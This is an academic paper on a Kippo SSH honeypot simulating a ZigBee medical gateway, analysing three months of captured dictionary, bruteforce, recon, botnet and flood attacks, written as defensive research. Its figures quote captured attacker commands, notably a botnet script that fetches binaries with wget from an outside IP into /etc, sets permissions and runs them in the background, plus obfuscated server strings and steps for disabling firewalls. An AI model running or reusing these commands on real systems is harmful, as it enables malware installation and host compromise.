A ZigBee Honeypot to assess IoT Cyberattack Behaviour

Seamus Dowling
Department of Business, Humanities and Technology, GMIT,
Mayo Campus, Mayo, Ireland
seamus.dowling@gmit.ie

Michael Schukat
Discipline of IT, College of Engineering & Informatics,
NUI Galway, Galway, Ireland
michael.schukat@nuigalway.ie

Hugh Melvin
Discipline of IT, College of Engineering & Informatics,
NUI Galway, Galway, Ireland
hugh.melvin@nuigalway.ie

Abstract—**Wireless Personal Area Networks (WPAN) allow for the implementation of applications such as home automation, remote control services, near-field technologies and personal health care management. Security is a critical requirement of the standards and protocols for these environments. One suite of layered protocols within WPAN is ZigBee. ZigBee is a low bit rate protocol utilised in Wireless Sensor Networks (WSN). Attacks such as physical, crypto key interception, injection and replay are perpetrated on ZigBee networks. These attacks can be instigated and controlled within the physical ZigBee WSN location or via a gateway. This paper creates a honeypot that simulates a ZigBee gateway. It is designed to assess the presence of ZigBee attack intelligence on a SSH attack vector. It captures all attack traffic for retrospective analysis. It sandboxes attacks of interest to determine if any attempts are targeting ZigBee specifically. Finally it concludes that all captured mass attacks are mainstream DDoS and bot malware, whereas individual attackers where attracted to and interacted with the ZigBee simulated Honeypot.**

Keywords: **Honeypot, IoT, ZigBee, Botnet, SSH**

I. INTRODUCTION

In 1992, USENIX conferences presented work on captured 'crackers' activities [1]. Honeypot and honeynet development mirrors new advances information and communications technology. With each new advance, technology specific threats emerge. Honeypot technology has proven to be a valuable resource combating these threats by understanding their behavior. Cyber attack information is interspersed with everyday Internet traffic. Intermediate transmission devices such as routers and switches process this information as normal, allowing for the propagation of malicious code and attack information to targeted end devices. Any unsecured device connected to the Internet can become involved in a cyber attacker. Wireless connectivity, device affordability, Internet availability, economic growth and cultural changes all contribute to Internet access and usage. Recently, Internet of Things (IoT) deployments attract bots and malicious code targeting IoT end devices [2]. With the emergence of the IoT as a concept and in practice, the opportunity for exploitation has exploded. IoT gives every 'thing' a unique number facilitating interaction and communication [3]. Gartner estimates that there will be over 20 billion devices connected to the Internet of Things by 2020 [4]. IoT is expanding with deployments such as Wireless Sensor Networks (WSN). WSNs are dynamic systems composed of large numbers of sensors that produce, consume, process and communicate information and data [5]. These networks gather telemetry measurements on their environment and provide the mechanism to relay this information back to a collection point or server. IEEE 802.15.4 defines the Physical layer (PHY) and Medium Access Control sublayer (MAC) specifications for a WPAN [6]. Other technologies that utilize the IEEE 802.15.4 standard define the specification for the upper layers. One upper layer technology is ZigBee [7]. As the popularity of ZigBee WSNs grow, so too does knowledge of their vulnerabilities and potential attack sources. Examples of attacks on ZigBee networks include degrading battery life through KillerBee Denial of Sleep messaging and packet injection [8]. These attacks need to be run in an environment where the attacker is present in the physical range of the ZigBee communications. This limits the capture of attack statistics. This paper creates a honeypot that simulates a gateway to a ZigBee network. Honeypots can leave traces of interesting information, or honeytokens [9], to lure an attacker and detain an attacker for longer, gaining better insight into attack behaviour. This honeypot embeds ZigBee traffic as honeytokens. The honeypot is deployed as a "zigbee-gateway" accessible via SSH. The goal of this honeypot development is to attract as much malicious traffic as possible and then to discern how much awareness or intelligence exists towards ZigBee networks.

The rest of the paper is organized as follows:

Section 2 provides previous research into honeypots, ZigBee and ZigBee vulnerabilities.

Section 3 details the creation and deployment of the honeypot. It outlines hardware and software implementations, ZigBee messaging simulation, honeypot deployment and activity monitoring.

Section 4 provides results and data on captured activity from the honeypot. This activity data provides the basis for conclusion and points to future research on this topic.

978-1-5386-1046-6/17/$31.00 ©2017 IEEE

II. Previous Contributions

A. Honeypots

Scientific research into honeypots and honeynets has increased since initial deployments [1]. Provos [10] in 2003 presented *Honeyd,* an easy to deploy, low risk honeypot. It details how to deploy virtual honeypots with different IPs safely. Honeyd acted as a catalyst for the development of further low interaction honeypots. Nepenthes [11] and Argos [12] became very popular global honeypot tools. Using faster networking and virtualisation technologies honeypot developers had a means of deploying high interaction honeypots and honeynets with low risk, isolating attack traffic from connected hardware and networks. High interaction honeypots provide backend databases to collect all activity such as IP addresses, timestamp, attempts, interactions, commands, downloads and executions [13]. Global malware infections are observed to follow temporal patterns as they propagate around the world, compromising and infecting hosts [14]. Downloaded files from malware bots can be sandboxed and analysed [15]. Sandboxing involves the reverse engineering of malware binaries, by allowing their execution in a controlled, isolated environment. This analysis is of particular interest to the antivirus industry. From this sandboxing activity, they can generate updates and fixes to add to dynamic antivirus rollouts. After an attacker has compromised a honeypot, it will attempt to interact in a structured manner. Ramsbrock models this interaction [16]. The initial engagement for an attack, post compromise, is to examine the hardware and software to determine if progression is relevant. On a live production system, this will return the underlying architecture, CPU, uptime, operating system, user privileges and further relevant. Hardware and software properties are checked, to determine if the compromised host has further potential, or if the host is a virtualised environment [17]. An attacker may then modify the host system, including passwords. On a honeypot, engaging the attack sequence at this point prolongs activity. It then attempts to download, install and run malware to complete the compromise. Viewed globally, the propagation behaviour of

B. ZigBee

WSNs form a key element of IoT and how it will develop and evolve. They need to be scalable independent networks able to communicate as part of a larger Internet. Common deployments of WSNs include the monitoring and control of military, environmental, home automation, healthcare, structural, industrial, agricultural and surveillance devices [18]. The ZigBee Alliance produces standards and specifications for short-range wireless technologies. These standards and specifications allow for product creation that can interoperate in Machine to Machine (M2M) WSNs. WSNs can be created for home automation, building management, smart energy, personal healthcare management, military and other domains. ZigBee released the Smart Energy Profile 2.0 (SEP2) in early 2013. It utilises ZigBee IP specification to create an IPv6 enabled Smart Energy IP Stack that can now integrate with the Internet. ZigBee is a set of standards and specifications to facilitate the manufacture of products for WPANs. ZigBee specifications [19] provide a framework for developing products that utilize the IEEE 802.15.4 “lower layers”. ZigBee standards [7] govern the development of specific WSN solutions. The ZigBee Alliance consists of interested members (commercial, educational and governmental) that work together to progress WPAN WSN technology. IEEE 802.15.4 defines the Physical layer (PHY) and Medium Access Control sublayer (MAC) specifications for a LR-WPAN. The PHY layer details the frequency bands and channels therein, the associated bitrates, and access modes. The MAC sublayer provides an interface between the physical layer and the higher layer protocols. The ZigBee specifications define the “upper layers” of ZigBee WSNs. These layers reside on top if IEEE 802.15.4 “lower layers” and together form the basis of ZigBee WPAN technology. ZigBee provides 3 device types: End Device, Router and Coordinator. With these device types, 3 types of topology can be created: Star, Tree and Mesh. A Star is a simple network, with one Coordinator connecting many end devices. Tree and Mesh networks use Router types, to extend the network size. ZigBee 2012 specification, for example, can support more than 64000 devices on a mesh network.

C. Vulnerabilities

Wireless technologies cannot negate the interception of communications. They can however, ensure the secrecy of the message by providing encryption. The inherent availability of WPANs and WLANs transmissions requires robust encryption mechanisms at all layers. Vulnerabilities exist when ZigBee applications do not implement security [20]. Intercepted transmissions can be subjected to brute force attacks and subsequent analysis [21]. ZigBee security issues and attacks are well documented [22][23][24]. Physical, Key, Denial-of-Service, Injection and Relay are examples of well-known attack types that can be perpetrated on ZigBee networks. A Network key is a global key used by all devices in a WPAN. Some sharing methods require these keys to be transported across the WPAN; sometimes keys are hard coded in the device. By either physically accessing the device or eavesdropping, keys and key transport transmissions can be captured, for analysis and subsequent key attacks. Replay and injection attacks can have catastrophic consequences. Specific hardware commands can be looped or inserted into a WSN communications channel. A command looped to turn a water valve 1 degree or delivering incorrect blood pressure measurements from medical BANs. KillerBee [8] is an attack framework consisting of hardware and software tools that can intercept and analyse 802.15.4 and ZigBee transmissions. Since the ZigBee standard is based on IEEE 802.15.4, attacks on IEEE 802.15.4 MAC layer are harmful to ZigBee-based devices. KillerBee analysis shows that frame security of IEEE 802.5.4 MAC is a critical issue. Frame security is a set of optional services that may be provided by the IEEE 802.15.4 MAC to ZigBee. If an application does not set any security parameters, then no security feature is enabled by default. More recently, incidents have been recorded where IoT worms

can spread across ZigBee networks [25], drones go 'war driving' to hack a building from outside [26] and an IoTBot is used in a massive DDoS attack [27]. To assess IoT cyberattacks, a honeypot was deployed to ascertain vulnerable architecture [28]. It concludes that there are currently at least 4 distinct DDoS malware families targeting Telnet-enabled IoT devices.

III. METHODOLOGY

The goal of this honeypot development is to attract as much malicious traffic as possible and then to discern how much awareness or intelligence exists towards ZigBee networks. Making such a honeypot available online attracts both automated and non-automated attack activity. Automated attacks will endeavour to compromise the machine and then perhaps, report back to a command and control (C&C). Non-automated attacks will assume prior knowledge of a compromised host and examine the file system in more detail. If ZigBee specific interest exists, then it is important to build another layer of complexity into the honeypot. This layer will tempt the attacker with ZigBee specific information and leave honeytokens [9], pointing to another server. It is important therefore to create a honeypot that logs all activity for future analysis. This development involved embedding fictitious ZigBee WSN medical traffic within a Honeypot and make it available on the internet through an SSH "zigbee-gateway". Data accessed within this honeypot will point attacker to another IP address, creating a Honeynet. To this end, the implementation can be broken into 3 distinct sections:

- Create ZigBee Honeytokens.
- Modify existing Honeypot distro using Python Scripting, to simulate a 'ZigBee Gateway'.
- Create AWS website with PHP to log visiting IPs.

A. *ZigBee Honeytokens*

To capture ZigBee traffic, a WSN using Arduino and XBee modules was configured to transmit random medical information. This traffic was captured using a UbiSys 802.15.4 sniffer USB stick. Randomizing and repeating the process builds a repository of Wireshark pcap files which will be stored at random deposits in the Honeypot file system. Examination of these pcap files shows medical information and a URL to supposed "Full Medical History". The prevalence of using the ZigBee keyword in the gateway and in the file system is to pique the interest of an attacker (Fig. 1). Placing pcap files within the simulated file system would go further in ascertaining ZigBee nous. From an attacker's perspective, these files may have been misplaced by an uninformed administrator or are available because of monitoring or testing on the WSN.

B. *Modify exiting Kippo Honeypot Distro*

Kippo is a medium interaction SSH honeypot designed to log brute force attacks and entire shell interaction performed by the attacker. It is available from Google Code and GitHub and can be installed on Linux or virtual platforms. A file of acceptable username and passwords can be created, permitting or denying brute force attempts. Modifying this file increases of decreases the number of successful attempts. The most beneficial property of Kippo for this development is its ability to be modified to simulate other file systems and log all interactions with automated or non-automated attacks. The brute force characteristic of this honeypot is not of interest to this research. It was chosen to allow the maximum level of attack traffic, through SSH.

To create a true simulation of a "ZigBee Gateway", it is necessary to utilize Python scripts provided by the Kippo distro, and to create new python scripts to display the honeytokens. This included a *tcpdump* script to manipulate *pcap* file manipulation. Fig. 1 presents the interactive honeypot. The circled elements highlight tcpdump code and further URL honeytokens.

```
root@zigbee-gateway:~# ls
root@zigbee-gateway:~# cd /
root@zigbee-gateway:/# ls
selinux         sbin            usr             lost+found      vmlinuz.old
proc            tmp             mnt             etc             initrd.img
boot            opt             dev             bin             lib
media           sys             run             srv             var
cdrom           vmlinuz         root            initrd.img.old  home
root@zigbee-gateway:/# cd home
root@zigbee-gateway:/home# cd zigbeemedical/
root@zigbee-gateway:/home/zigbeemedical# ls
configs    medrecords
root@zigbee-gateway:/home/zigbeemedical# cd medrecords/
root@zigbee-gateway:/home/zigbeemedical/medrecords# ls
BP1209.pcap VF9305-1    VF9305.pcap FT7841.pcap SD8798.pcap TR3202.pcap
TS9665.pcap GH6554.pcap RT7003.pcap RY2412.pcap
root@zigbee-gateway:/home/zigbeemedical/tcpdump# tcpdump -tttt -r BP1902.pcap
15:28:55.103091 IP 0.0.0.0.17754 > 255.255.255.255.17754: UDP, length 81
0x0000:  4500 006d 1d3f 0000 8011 1d42 0000 0000  E..m.?.....B....
0x0010:  ffff ffff 455a 455a 0059 0000 4558 0201  ....EZEZ.Y..EX..
0x0020:  0bff fe00 ffd2 aa55 c282 05ff 1800 001d  .......U........
0x0030:  3e00 0000 0000 0000 0000 0031 6188 0512  >..........1a...
0x0040:  3f00 0054 ba48 1800 0054 ba1e 4407 8bb1  ?..BPM:74..SPO2:
0x0050:  4200 0000 0000 0000 0000 0031 6188 0612  97.%..Temp:.92..
0x0060:  4000 a213 009f 40a7 4000 a213 0040 e892  Systolic.0..Dias
0x0070:  3f54 ba00 0048 1854 ba00 001e af9f 40a7  tolic:.0..ECG.N/
0x0080:  4000 a213 0007 8bb1 4000 a213 0002 e892  A...Full Hist:..
0x0090:  0005 c1e8 2501 0010 0000 1017 4b32 00fe  http://54.171.15
0x00a0:  3f54 ba00 0048 1854 ba00 001e b79f 40a7  7.63/index.php..
0x00b0:  3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d  ================
0x00c0:  3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d  ================
0x00d0:  3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d  ================
0x00e0:  3d3d 3d3d 3d3d 0d0a 16eb                 ======....
```

Figure 1. Interaction with Honeypot

C. *AWS website with PHP*

One honeytoken circled in Fig. 1 is a URL to a supposed Full Medical History. 54.171.157.63/index.php will display an error message: *404 Page Not Found*. This website is hosted on Amazon's AWS EC2 service. PHP code in the background of this page will log the visitor's time and IP address (Fig. 2).

```
ubuntu@ip-172-31-15-107:/var/www/html$ cat index.php
<?php
        if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
                $ip = $_SERVER['HTTP_CLIENT_IP'];
        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
                $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        } else {
                $ip = $_SERVER['REMOTE_ADDR'];
        }
        $line = date('Y-m-d H:i:s'). "-". $ip;
//      echo("line:\n".$line);
        file_put_contents("visitors.log", $line . PHP_EOL, FILE_APPEND);
?>
```

Figure 2. PHP Code capturing Date/Time and IP address of Attacker

```
2016-01-08 01:31:45+0000 [SSHService ssh-userauth on HoneyPotTransport,50342,180.113.223.226] login attempt [root/admin] succeeded
2016-01-08 01:31:45+0000 [SSHService ssh-userauth on HoneyPotTransport,50342,180.113.223.226] root authenticated with keyboard-interactive
2016-01-08 01:31:45+0000 [SSHService ssh-userauth on HoneyPotTransport,50342,180.113.223.226] starting service ssh-connection
2016-01-08 01:31:45+0000 [HoneyPotTransport,50341,103.41.124.104] Got remote error, code 11
2016-01-08 01:31:45+0000 [HoneyPotTransport,50341,103.41.124.104] connection lost
2016-01-08 01:31:45+0000 [SSHService ssh-connection on HoneyPotTransport,50342,180.113.223.226] got channel session request
2016-01-08 01:31:45+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,50342,180.113.223.226] channel open
2016-01-08 01:31:45+0000 [kippo.core.ssh.HoneyPotSSHFactory] New connection: 103.41.124.104:33793 (192.168.1.2:2222) [session: 50343]
2016-01-08 01:31:46+0000 [HoneyPotTransport,50343,103.41.124.104] Remote SSH version: SSH-2.0-PUTTY
2016-01-08 01:31:46+0000 [HoneyPotTransport,50343,103.41.124.104] kex alg, key alg: diffie-hellman-group-exchange-sha1 ssh-rsa
2016-01-08 01:31:46+0000 [HoneyPotTransport,50343,103.41.124.104] outgoing: aes128-ctr hmac-sha1 none
2016-01-08 01:31:46+0000 [HoneyPotTransport,50343,103.41.124.104] incoming: aes128-ctr hmac-sha1 none
2016-01-08 01:31:46+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,50342,180.113.223.226] executing command
        echo "nameserver 8.8.8.8" >> /etc/resolv.conf
        echo "nameserver 8.8.4.4" >> /etc/resolv.conf
        apt-get -y install wget
```

Figure 3. Honeypot Log File Sample

The ZigBee honeypot was deployed on an unfiltered network with port forwarding enabled. The honeypot was only accessible via SSH on port 22. The WAN IP on this network was static, providing uninterrupted availability to the honeypot. The honeypot was available for 3 months.

IV. Analysis and Results

All activity on the honeypot, probes, attempted logins, successful logins and unsuccessful attempts are stored in a *log* directory. On day 1, kippo.log.1 is created and records all activity until this text based file reaches 1 Megabyte. Then Kippo.log.2 is created and the process continues. During the three months, 368 log files were created, giving 368Mb of raw text data. A sample of a successful compromise is shown in Fig. 3 above. Some of the data recorded in the logs include date and timestamp, processes, IP addresses and executed code. General analysis of 6 million lines of attack dataset produced the following:

- 423228 login attempts
- 413362 unsuccessful logins
- 9866 successful logins
- 5297 distinct IP sources (all attempts)
- 31328 commands
- 5368 downloads

Kippo also provides a facility to save, but not execute files downloaded to the honeypot. There was 31328 command attempts on the honeypot, with 182 distinct commands. Kippo stored all downloaded files. Of the 5368 downloads, 31 of them were distinct. By sandboxing downloaded files, observing shell interactions and consulting threat advisories, it was possible to identify different attack types. These attack types where analysed for ZigBee specific operations. For the deployment duration, the honeypot observed five mass attack types, to and from differing IP sources. Other individual attack types also occurred in smaller numbers. The six categories of attacks were:

A. Dictionary attack
B. Bruteforce attack
C. Recon Scripts
D. Botnet
E. Launch attack
F. Individual attacks

A. *Dictionary*

The Dictionary attacks were responsible for nearly 94% of all honeypot activity as they continuously tried to compromise the honeypot with sequential usernames and passwords. Kippo recorded them but the events do not contribute to this paper, namely ZigBee specific attack information. Fig. 4 displays a sample of a dictionary attack from a log file, which occurred continuously for the lifetime of the honeypot.

```
103.41.124.59] root trying auth none
103.41.124.59] root trying auth password
103.41.124.59] login attempt [root/marzie] failed
103.41.124.59] root trying auth password
103.41.124.59] login attempt [root/martian] failed
103.41.124.59] root trying auth password
103.41.124.59] login attempt [root/marlissa] failed
```

Figure 4. Dictionary Attack Code

B. *Bruteforce Attack*

The bruteforce attack consists of batch files that attempt to compromise the honeypot. It also attempts to obfuscate communications. The segment taken from the honeypot logs, in Fig. 5 shows encoded string *sEEA+==deadefadcaih+jjjj* Using Linux *tr* and *enc* commands, this string can be decoded to *http://23.234.21.81:8888*

```
__host_64__="sEEA+==deadefadcaih+jjjj"
__host_32_2__="sEEA+==cbeadgakaddh+jjjj"
__host_64_2__="sEEA+==cbeadgakaddg+jjjj"
__host_32_libc__="sEEA+==cbeadgakaddh+jjjj"
__host_64_libc__="sEEA+==cbeadgakaddg+jjjj"
# select compiler server
server(){
```

Figure 5. Bruteforce obfuscated Code

The compromise performs the following actions:

select compiler server
check md5
get os version
generate header file
check header version
download build file
remote compiler code
uncompress file
upload
main entry

This bruteforce attack has been logged in various threat advisories. A group called SSHPsychos are responsible and are well known for creating large amounts of scanning traffic across the Internet. While its primary focus is SSH bruteforce attacks, an IoT device that is accessible through SSH would be susceptible to compromise.

C. *Recon Scripts*

Exactly 10 minutes after the bruteforce compromise detailed in part IV section B, the Recon attack checks for the presence of *sftp.pid*. Secure File Transfer Protocol (SFTP) is a separate protocol packaged with SSH that allows transmission of files over a secure connection. It provides the ability to create a secure connection to transfer files and examine the filesystem on both the local and remote system. For every bruteforce attack, an associated Recon attack occurred. The honeypot was configured with script files to handle generic Linux commands such as *ls* and returned a positive response. Fig. 6 displays the Recon code and does not present any ZigBee knowledge.

```
110.34.243.26] channel open
110.34.243.26] executing command "ls -la /var/run/sftp.pid"
110.34.243.26] exec command: "ls -la /var/run/sftp.pid"
110.34.243.26] Opening TTY log: log/tty/20141118-153425-3312.log
110.34.243.26] Running exec command "ls -la /var/run/sftp.pid"
110.34.243.26] CMD: ls -la /var/run/sftp.pid
110.34.243.26] Command found: ls -la /var/run/sftp.pid
110.34.243.26] sending close 1
110.34.243.26] remote close
```

Figure 6. Recon Code

D. *Botnet*

The dominant botnet targeting the honeypot had its origins in China. Fig. 7 is a snapshot of the attack code. It provides information on the attacker source, attack pattern and files used.

```
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
echo "nameserver 8.8.4.4" >> /etc/resolv.conf
apt-get -y install wget
yum -y install wget
chmod 7777 / etc
killall -9 .IptabLes
killall -9 nfsd4
killall -9 profild.key
cd /etc;rm -rf dir fake.cfg
cd /etc;wget -c http://219.135.56.219:9162/udevd
cd /etc;chmod 7777 udevd
nohup /etc/udevd > /dev/null 2>&1&
cd /etc;wget -c http://219.135.56.219:9162/dsgregd
cd /etc;chmod 7777 dsgregd
nohup /etc/dsgregd > /dev/null 2>&1&
cd /etc;wget -c http://219.135.56.219:9162/rewgtf3er4t
cd /etc;chmod 7777 rewgtf3er4t
nohup /etc/rewgtf3er4t > /dev/null 2>&1&
cd /etc;wget -c http://219.135.56.219:9162/fdsfsfvff
cd /etc;chmod 7777 fdsfsfvff
nohup /etc/fdsfsfvff > /dev/null 2>&1&
cd /etc;wget -c http://219.135.56.219:9162/smarvtd
cd /etc;chmod 7777 smarvtd
```

Figure 7. Botnet Code

It regularly attacked with the same complex attack pattern as summarised in Table 1.

Table 1. Botnet Attack Pattern

Command	Comment
iptables stop	Turn off Firewall
chmod 7777 (list of directories)	Change Permissions
killall -9 (list of processes)	Kill processes
rm –rf (files and directories)	Delete Files
apt-get install wget	Install wget
download and execute files	Infect Host

Sandboxing the downloaded files from Fig 7. gives further insight. Sandbox tool Cuckoo[1] was used to extract the binaries safely. This botnet was discovered to be linked to a subsequent DDoS attack called “BillGates”. It demonstrates that any Internet facing device accessible through SSH and compromised, could be involved in the DDoS attack. The botnet’s goal was to compromise the device and was not specifically targeting the purpose of the device, namely the ‘zigbee-gateway’.

E. *Launch Attack*

This attack had 2 IP addresses associated with it. A command came from an attacking source IP requesting the honeypot to send an IP packet flood to a destination or victim IP. The honeypot had been configured to deny this request, thereby not inadvertently contributing to an attack. Profiling the IPs showed the attacking IPs came from Amazon Web Services global sites, with the victim IPs being telecom providers. Fig. 8 presents an example of the attack code. The captured data did not provide any further information for analysis and did not demonstrate any ZigBee connection.

```
54.93.56.140] got channel direct-tcpip request
54.93.56.140] connection attempt to 166.62.3.1:80
54.93.56.140] channel open failed
```

Figure 8. Launch Attack Code

F. *Individual Attacks*

The random individual attacks were not automated nor where they part of mass global malware. The log files showed obvious human interaction from typing mistakes to pauses in the commands issued. The attackers were interested in the honeytokens and took time to explore the file system. Attackers in particular tried to manipulate the embedded ZigBee honeytokens. Instead of using the python scripted *tcpdump* command, attackers used Linux *cat* command. This resulted in the *.pcap* file being displayed as in Fig. 9.

```
root@zigbee-gateway:/home/zigbeemedical/tcpdump# cat BP1209.pcap
yip yip??pv?    ?šOO???????EA4?y????EZEZ-EX
                                ???ÇU??td3?p?vơuu???????Eg5?R????EZEZSEX
                                                                        ???ÇU
oOO???????EA6?w????EZEZ-EX
                                                              ???ÇU??Ui5??p?v?
                                                                             ,ã
                        ???ÇU??
w61a??T?HT?@??@??@?@???#??pv??2ãOO???????EA8?u????EZEZ-EX
                                                    ???ÇU??]N??p?v?/Jãuu
                           ???ÇU???O8+a???T?HT???@?@???@????#??pv??OãOO???????EA:?s?
          ???ÇU??%?9??p?v?r?w?????????E?;??????EZEZ?EX
                                                 ???ÇU??Js:~a??T?HT?B??@??@
mp:.92.. Systolic.0..Diastolic:.0..ECG.N/A...
        w61a??T?HT?@??@??@?@???# Full Hist.:.  http://54.171.157.63/index.php
========================================================
```

Figure 9. Honeytoken Manipulation

In all 4 attackers showed interest in the embedded ZigBee honeytokens. The banner of the honeypot, namely “zigbee-gateway”, and the directory structure was attractive to the attacker. This was obvious as they navigated the various directories and discovered the embedded honeytokens. They displayed the contents but none subsequently visited the

1 https://cuckoosandbox.org/

website as outlined in part III, section C. Whereas all other attacks used recurring IP addresses, the individual attacks where globally random and did not have any correlation with other attacks.

V. CONCLUSION

This paper presents analysis and results from a bespoke ZigBee simulated honeypot. The explosion of IoT deployments provides more opportunity for exploration and compromise. ZigBee is one wireless technology utilised in IoT. Mass global malware use SSH as an entry point, continuously probing with dictionary and bruteforce attacks. Therefore to collect a large dataset to ascertain awareness and interest in ZigBee networks, this honeypot was deployed on SSH. Automated attack types were collated, identified and examined. Individual random attacks exhibited obvious human cognition and were also collated and examined. Dictionary, Recon and Launch attacks did not present any ZigBee specific knowledge. Dictionary attacks continuously probed with username/password combinations, Recon checked for SFTP capabilities and Launch was a generic command requesting an IP flood to a victim IP. The Bruteforce and Botnet provided better material for examination. The downloaded files were sandboxed and the scripts were analysed. They demonstrated automated methods to gather information on variables such as compilers, CPU and operating systems. They either reported back to a C&C or attempted to download and install further files, depending on the variables. Both treated the honeypot as an SSH device primarily and concentrated on compromising it in that regard. Individual attacks did show interest in the honeytokens and attempted to manipulate them. The small numbers involved suggest a general interest in the files rather than any specific knowledge towards ZigBee networks.

REFERENCES

[1] BELLOVIN, S.M., 1993. “Packets found on an internet”, SIGCOMM Comput. Commun. Rev., 23 (3), pp. 26-31.

[2] "IOT DEVICES FOUND TO CARRY OUT DDOS ATTACKS." *Computer Security Update*, 1 Oct. 2016. *General OneFile*, go.galegroup.com/ps/i.do?p=ITOF&sw=w&u=gmit&v=2.1&it=r&id=GALE%7CA465179490&sid=summon&asid=7c09d752fc032b9ce6fc25001567730d. (Access Date: 05-10-2016)

[3] Atzori, L., Iera, A. and Morabito, G., 2010. The internet of things: A survey. *Computer networks*, *54*(15), pp.2787-2805.

[4] “6.4 Billion Connected "Things" Will Be in Use in 2016”, [Online] Available: http://www.gartner.com/newsroom/id/3165317 (Access Date: 27-07-2016)

[5] Q. Zhu, Wang, R., Chen, Q., Liu, Y., & Qin, W., 2010, "IOT gateway: Bridging wireless sensor networks into Internet of Things," ed. Proceedings of the IEEE/IFIP 8th International Conference on Embedded and Ubiquitous Computing.

[6] IEEE 802.15.4 Standards and Amendments. [Online] Available http://standards.ieee.org/about/get/802/802.15.4.html. (Access Date: 06-10-15)

[7] ZigBee Alliance and Standards [Online] Available http://www.zigbee.org/zigbee-for-developers/applicationstandards/ (Access Date: 15-06-15)

[8] Wright, J., 2009, October. Killerbee: practical zigbee exploitation framework. In *11th ToorCon conference, San Diego*.

[9] Spitzner, L, “Honeytokens: The other Honeypot”, Symantec Connect, 2003. [Online] Available: http://www.securityfocus.com/infocus/1713 (Access Date: 27-06-2016)

[10] PROVOS, N. “A virtual honeypot framework.”, In SSYM’04: Proceedings of the 13th conference on USENIX Security Symposium,

[11] P. Baecher, M. Koetter, T. Holz, M. Dornseif, and F. Freiling, “The Nepenthes Platform: An Efficient Approach to Collect Malware,” 9th International Symposium on Recent Advances in Intrusion Detection

[12] Georgios Portokalidis, Asia Slowinska, and Herbert Bos, “Argos: an Emulator for Fingerprinting Zero-Day Attacks”, ACM SIGOPS Operating Systems Review, vol. 40, no. 4, October 2006

[13] Valli C., Rabadia P., Woodward A., 2013, “Patterns and Patter - An Investigation into SSH Activity Using Kippo honeypots”, Australian Digital Forensics Conference.

[14] Dowling, S. Schukat, M., Melvin, H. “Using analysis of temporal variances within a honeypot dataset to better predict attack type probability”, Proceedings of the IEEE World Congress on Internet Security, (WorldCIS 2016), in press.

[15] Provataki A., 2013, "Differential malware forensics,” Digital. Investigation. 10, 4 (December 2013), 311-322

[16] D. Ramsbrock, 2007, “Profiling Attacker Behavior Following SSH Compromises”, 37th Annual IEEE/IFIP International Conference on Dependable Systems and Networks (DSN'07), Edinburgh

[17] T. Holz, 2005, “Detecting honeypots and other suspicious environments”, Proceedings from the Sixth Annual IEEE SMC Information Assurance WorkshopDagon D., 2007, "A taxonomy of botnet structures”, Computer Security Applications Conference, DOI:10.1109/ACSAC.2007.44

[18] An Overview of Wireless Sensor Networks Applications and Security International Journal of Soft Computing and Engineering (IJSCE) ISSN: 2231-2307, Volume-2, Issue-2, May 2011

[19] ZigBee Specifications [Online] Available http://www.zigbee.org/zigbee-for-developers/network-specifications/. (Access Date: 15-06-15)

[20] Stelte, B. and Rodosek, G.D., 2013, October. Thwarting attacks on ZigBee-Removal of the KillerBee stinger. In Proceedings of the 9th International Conference on Network and Service Management (CNSM 2013) (pp. 219-226). IEEE.

[21] Raymond, David R.; Midkiff, S.F., “Denial-of-Service in Wireless Sensor Networks: Attacks and Defenses” Pervasive Computing, IEEE , vol.7, no.1, pp.74,81, Jan.-March 2008.

[22] Jie Yang; Yingying Chen; Trappe, W.; Cheng, J., “Detection and Localization of Multiple Spoofing Attackers in Wireless Networks” Parallel and Distributed Systems, IEEE Transactions on, vol.24, no.1, pp.44,58, Jan. 2013

[23] K. Sharma A. “On Denial of Service Attacks for Wireless Sensor Networks”. International journal of computer applications. 2012-01-01

[24] Biswas, A.; Alkhalid, A.; Kunz, T.; Chung-Horng Lung, "A lightweight defence against the Packet in Packet attack in ZigBee networks," Wireless Days (WD), 2012 IFIP , vol., no., pp.1,3, 21-23 Nov. 2012

[25] “IoT Goes Nuclear: Creating a ZigBee Chain Reaction” [Online] Available:http://www.theverge.com/2016/11/3/13507126/iot-drone-hack (Access Date 10-11-16)

[26] “ZigBee-sniffing drone used to map online Internet of Things” [Online] Available:http://securityaffairs.co/wordpress/39143/security/drone-internet-of-things.html. (Access Date: 10-11-16)

[27] “How an army of vulnerable gadgets took down the web today”, [Online]Available:http://www.theverge.com/2016/10/21/13362354/dyn-dns-ddos-attack-cause-outage-status-explained. (Access Date: 10-11-16)

[28] Yin Minn Pa, Shogo Suzuki, Katsunari Yoshioka, Tsutomu Matsumoto, Takahiro Kasama, Christian Rossow; “IoTPOT: Analysing the Rise of IoT Compromises”, 9th USENIX Workshop on Offensive Technologies (WOOT 2015)